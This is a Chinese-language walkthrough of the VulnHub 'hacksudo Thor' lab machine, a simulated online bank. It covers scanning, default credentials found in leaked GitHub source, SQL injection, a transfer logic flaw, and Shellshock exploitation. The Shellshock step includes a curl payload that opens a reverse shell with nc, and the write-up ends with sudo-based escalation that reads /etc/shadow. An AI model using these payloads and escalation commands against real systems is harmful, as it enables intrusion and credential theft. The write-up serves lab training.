靶机介绍

1)靶机地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

2)靶机难度:中

3)打靶目标: 取得 root 权限 + Flag

4)涉及攻击方法:主机发现、端口扫描、WEB目录爬取、开源源码泄漏、默认帐号密码、业务逻辑漏洞、SQL注入、破壳漏洞、GTFOBins提权

5)靶机简介:这是一个模拟在线银行系统的靶机。将通过信息收集的手段,发现并获取托管在公开代码服务器上的程序源码。进而通过源码审计,获得系统关键帐号的密码。该靶机虽然也存在SQL注入等常见漏洞类型,但要想突破边界打点成功,则需要掌握破壳漏洞的攻击方法。通过本次靶机将学习到破壳漏洞的原理,以及通过WEB渠道利用该漏洞的具体方法。该靶机的提权方法具有新意,将利用操作系统自身命令的权限漏洞来实现提权。除了技术性的漏洞之外,还结合自己的实际工作经验,向大家介绍了部分高危的逻辑漏洞类型。成功利用某些逻辑漏洞,攻击者可以直接从在线系统中偷钱,给企业造成直接的经济损失。作为系统的安全建设者,我们必须要关注和掌握的这些漏洞类型。

打靶过程

1)主机发现:靶机IP为192.168.56.11

# arp-scan -l

2)全端口扫描

# nmap -p- 192.168.56.11

3)服务版本扫描

# nmap -p21,22,80 -sV -sC 192.168.56.119

4)浏览器访问靶机的80端口:根据页面提示信息,返回的是一个在线银行的系统

浏览器:http://192.168.56.119/

①尝试通过admin/admin、admin/123456等弱口令进行登录,无法成功登录

②点击该系统的其他链接,如NEWS中也未发现其他信息,在CONTACT中发现了一些电话号码,邮件信息(在实际的渗透测试过程中,要记录下这些内容,因为有可能平台的登录账号就是员工的手机号或者银行账号)

③查看首页源码查看:发现在根目录下存在一个images的目录,里面都是图片文件。首页面源码中未发现其他有用的信息

④查看NEWS页面源代码中,发现了一个cgi-bin的注释信息。

补充:cgi可以在web服务器端使用web应用程序来处理客户端提交的请求的开发技术,比较常见的web应用程序接口通常可以使用操作系统的shell脚本来处理客户端提交上来的一些请求,如客户端提交一个请求,会去访问CGI目录下的一个CGI的文件,将自己的请求发给这个文件,这个文件就会调用操作系统的shell来解析客户端提交上来的数据请求。通过这种方法可以简化web应用程序的开发难度。通过如果使用CGI的技术,那么在web程序中就会存在x.x.x.x/cgi-bin/xxx.cgi或者x.x.x.x/cgi-bin/xxx.sh的文件

浏览器直接访问:http://192.168.56.119/cgi-bin/

返回了403,说明当查看文件目录下的所有文件内容列表时被拒绝了,说明目录存在,但是因为没有权限,导致无法请求当前目录下的文件列表。但是并不意味着请求该目录下某个具体文件时,服务器端也会拒绝。

破壳漏洞:利用整个web程序软件架构中的一部分可以执行代码的软件组件,通过这种漏洞来实现代码的执行,反弹shell的效果(原理见下方)

5)对web程序进行目录爬取

# dirsearch -u http://192.168.56.119

①通过扫描出的README.md可以查看到该web系统的基本信息:该文档中,给出了web程序源码地址和数据库信息

②通过上述信息,在github上查看源码信息:说明了web程序初始搭建后的用户名和密码

https://github.com/zakee94/online-banking-system

尝试通过该用户名和密码登录web应用程序,发现无法正常登录

③在目录爬取,以及源码查看中都存在一个admin_login.php的文件,通过浏览器直接访问该文件,并上述发现的用户名admin,密码password123尝试登录,发现可以登入

http://192.168.56.119/admin_login.php

6)登入后台后,发现可以添加用户,输入需要添加的用户进行,进行提交后,返回如下报错,说明此处可能存在SQL注入漏洞,但是此处的SQL注入漏洞,无法直接突破边界,拿到操作系统的shell,所以此处不进行此处的SQL注入。同时在Manage Customers也存在SQL注入

此处已经可以获取到web应用程序后台管理员的信息,即使SQL注入成功,也不会获取到其他对渗透测试更有价值的信息了。

通过托管在github上的源码信息,可以找到目标靶机web系统默认的用户和密码。在Manage Customers页面也可以查看到这些用户的账号和免密

INSERT INTO `customer` VALUES (1,'Nafees','Zakee','male','1994-11-28',123456789,'zakee.nafees@gmail.com','+91 8918722499','22/10, Secondary Road, Durgapur - 713204','delhi',1122334455,1234,'zakee94','nafees123'),(2,'Md Salman','Ali','male','1994-10-11',987654321,'ali.salman@gmail.com','+966 895432167','Al Ahsa Street Malaz, King Abdulaziz Rd, Alamal Dist. RIYADH 12643-2121.','riyadh',1133557788,1234,'salman','salman123'),(3,'Tushar','Kr. Pandey','male','1995-02-03',125656765,'tusharpkt@gmail.com','+334 123456987','Champ de Mars, \r\n5 Avenue Anatole France, \r\n75007 Paris, France','paris',1122338457,1357,'tushar','tushar123'),(4,'Jon','Snow','male','1985-02-03',129156787,'jon.snow@gmail.com','+1 8918332797','The Night Watch,\r\nKing in the North,\r\nThe North Remembers,\r\nWesteros.','newyork',1233556739,1234,'jon','snow123');

7)通过普通用户登入系统后,可直接进行转账操作:转账密码使用登录密码即可成功转账。此处攻击者可以自己注册一个账号,然后通过被攻击者的账户直接向攻击者账户进行转账,之后攻击者再进行提现操作

安全问题:只要用户账号泄露,那么资金就会出现安全问题

8)破壳漏洞原理:

shell:通过在登录系统后吗,都会获取到一个shell的命令提示行,通过shell可以解析并执行操作系统命令。linux中最基础的shell程序为sh,现在使用较多的shell程序为bash、zsh。

环境变量:在bash中存在一个环境变量的感念,通过env命令可以查看当前操作系统已经定义好的环境变量。通过echo $变量名 可以查看变量具体的值,如

# echo $SHELL
/usr/bin/zsh

①在shell中也可以自定义环境变量

# export x="Hello World"
# echo $x               
Hello World

②在shell中也可以定义一些函数,在函数中执行一些操作的集合。然后去调用函数

# w() { echo "Hello $USER, today is data: "; date; }
# w                                                 
Hello root, today is data: 
Sun Feb  5 10:47:33 PM EST 2023

破壳漏洞:要想利用破壳漏洞,可以将环境变量的定义和函数的定义两者结合,将一个函数的定义赋值给一个环境变量,那么当通过bash调用去执行环境变量内容时,就会导致这个环境变量中的内容被执行

# export x="() { echo \"hello $USER, today is date: \"; date }"
# bash -c 'x'

注:对于较新的操作系统中,有可能该漏洞被修复

原理:bash在解析环境变量当中引用的函数定时时,过滤和函数定义的界限不清晰造成的漏洞。该漏洞最根本的原有是存在于bash这个shell程序当中的,并不是存在于web应用程序当中的。

​ 如果web应用程序和bash程序之间有关连,即如果web应用程序使用了cgi技术,通过web应用程序的引用,引用了操作系统的bash,来处理操作系统的一些指令,那么就可以把http服务作为可以实现访问操作系统shell,向操作系统shell提交环境变量的定义,从而在环境变量定义中引入其他的函数定义,实现目标的手段

​ 在这个过程中,http服务就相当于一条通道,它打开了通往操作系统shell的通道,该通道就是通过cgi引用的方式来最终实现

​ 在cgi-bin的路径下去寻找一些扩展名可能是cgi或sh的文件,如果存在这些文件,说明这个web应用程序所引用的外部应用程序就是操作系统的shell。如果恰好目标操作系统使用的shell程序为bash,且版本较老,那么就可能存在破壳漏洞,没有对环境变量中引用的函数定义进行过滤,那么就可以通过cgi去执行一些操作系统的命令,进而进行反弹shell

9)在cgi-bin的路径下去寻找一些扩展名可能是cgi或sh的文件

#凡是在cgi-bin目录下,后缀为cgi或者sh的文件都进行爬取
# dirsearch -u http://192.168.56.119/cgi-bin/ -f -e cgi,sh

5XX响应码表示服务器端报错,500是表示服务器端可以接受客户端提交的数据请求,但是服务器端处理这些请求时,没有办法正常处理。但是可以说明文件是存在的

10)通过nmap工具的http-shellshock脚本验证是否存在破壳漏洞

#如果存在破壳漏洞就会执行cmd中设置的命令,即ls
# nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.56.119
# nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.56.119

通过扫描,确定了目标靶机上存在破壳漏洞

11)通过在UA头部中使用函数定义,来执行命令,检查nc命令是否存在

# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.56.119/cgi-bin/shell.sh

通过上述命令可100%确认,操作系统存在破壳漏洞

12)反弹shell,突破边界

# nc -nvlp 4444
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.56.103 4444'" \http://192.168.56.119/cgi-bin/shell.sh

13)实现shell的升级

python3 -c 'import pty;pty.spawn("/bin/bash")'

14)查看sudo权限是否存在漏洞

$ sudo -l

检查发现,不需要密码就可以执行.hammer.sh脚本文件

15)通过thor用户去执行.hammer.sh脚本文件,并在输入内容的地方,随便输入内容

$ sudo -u thor /home/thor/./hammer.sh

多次输入内容,测试发现,当在massage处输入命令后,会以thor用户的身份去执行

16)按照上述方式,输入bash命令,获取到thor用户的shell,并进行shell的升级

$ sudo -u thor /home/thor/./hammer.sh
python3 -c 'import pty;pty.spawn("/bin/bash")'
id

17)在thor这个用户下,检查其sudo权限

$ sudo -l

可以以root的身份去执行/usr/bin/cat、/usr/sbin/service

18)通过sudo查看用户密码文件

$ sudo cat /etc/shadow

19)利用service命令可以直接提权至系统的root权限

$ sudo service ../../bin/bash

补充:https://gtfobins.github.io/

上述网站中,总结了所有在操作系统中,如果哪一个程序权限配置不当,都可以使用该程序,将当前权限提升为root权限

20)获取flag

# cd /root
# ls
proof.txt  root.txt
# cat root.txt